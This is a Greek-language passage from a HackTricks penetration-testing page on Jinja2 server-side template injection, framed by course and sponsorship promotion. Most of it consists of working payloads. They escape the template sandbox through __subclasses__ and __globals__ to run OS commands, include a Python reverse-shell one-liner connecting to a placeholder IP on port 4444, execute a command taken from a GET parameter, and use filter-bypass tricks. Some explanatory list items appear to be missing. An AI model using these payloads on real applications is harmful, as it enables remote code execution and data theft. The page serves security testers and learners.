<summary><strong>Μάθετε την κακόβουλη δραστηριότητα στο AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
*Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
Εάν η Επέκταση Αποσφαλμάτωσης είναι ενεργοποιημένη, θα είναι διαθέσιμη μια ετικέτα `debug`γιανα εκτυπώσει το τρέχον πλαίσιο καθώς και τα διαθέσιμα φίλτρα και τεστ. Αυτό είναι χρήσιμο γιανα δείτε τι είναι διαθέσιμο για χρήση στο πρότυπο χωρίς την ανάγκη να ρυθμίσετε έναν αποσφαλματωτή.
Καταρχάς, σε μια ενσωμάτωση Jinja χρειάζεται να**βρείτε έναν τρόπο να δραπετεύσετε από τον αμμόλοφο** και να ανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης της Python. Για να το κάνετε αυτό, πρέπει να**καταχραστείτε αντικείμενα** που είναι **από** το **περιβάλλον χωρίς αμμόλοφο, αλλά είναι προσβάσιμα από τον αμμόλοφο**.
Για παράδειγμα, στον κώδικα `render_template("hello.html", username=username, email=email)` τα αντικείμενα username και email **προέρχονται από το περιβάλλον Python χωρίς αμμόλοφο** και θα είναι **προσβάσιμα** μέσα στο **περιβάλλον με αμμόλοφο.**\
Επιπλέον, υπάρχουν άλλα αντικείμενα που θα είναι **πάντα προσβάσιμα από το περιβάλλον με αμμόλοφο**, αυτά είναι:
Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: **`<class 'object'>`** προκειμένου να προσπαθήσουμε να**ανακτήσουμε** τις ορισμένες **κλάσεις**. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο **`__subclasses__`** και **να έχουμε πρόσβαση σε όλες τις κλάσεις από το μη-αμμοδιοποιημένο** περιβάλλον python.
Για να έχετε πρόσβαση σε αυτήν την **κλάση αντικειμένου**, πρέπει να**έχετε πρόσβαση σε ένα αντικείμενο κλάσης** και στη συνέχεια να έχετε πρόσβαση είτε στο **`__base__`**, **`__mro__()[-1]`** ή `.`**`mro()[-1]`**. Και στη συνέχεια, **μετά** την επίτευξη αυτής της **κλάσης αντικειμένου** καλούμε **`__subclasses__()`**.
**Έχοντας ανακτήσει** `<class 'object'>` και καλώντας το `__subclasses__` μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις γιανα διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.
Η κλήση στο `__subclasses__` μας έχει δώσει την ευκαιρία να**έχουμε πρόσβαση σε εκατοντάδες νέες λειτουργίες**, θα είμαστε ικανοποιημένοι απλά με την πρόσβαση στη **κλάση αρχείου**γιανα**διαβάσουμε/γράψουμε αρχεία** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως η `os`).
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Αυτές οι διαπραγματεύσεις θα μας επιτρέψουν να**έχουμε πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιούμε ορισμένους χαρακτήρες**.\
Έχουμε ήδη δει μερικές από αυτές τις διαπραγματεύσεις στα παραδείγματα του προηγούμενου, αλλά ας τις περιλάβουμε εδώ:
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
Από τα [**παγκόσμια αντικείμενα**](jinja2-ssti.md#accessing-global-objects) υπάρχει άλλος τρόπος να φτάσετε σε **RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.**\
Αν καταφέρετε να φτάσετε σε οποιαδήποτε **συνάρτηση** από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να έχετε πρόσβαση στο **`__globals__.__builtins__`** και από εκεί το **RCE** είναι πολύ **απλό**.
Μπορείτε να**βρείτε συναρτήσεις** από τα αντικείμενα **`request`**, **`config`** και οποιοδήποτε **άλλο** ενδιαφέρον **παγκόσμιο αντικείμενο** στο οποίο έχετε πρόσβαση με:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
*Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.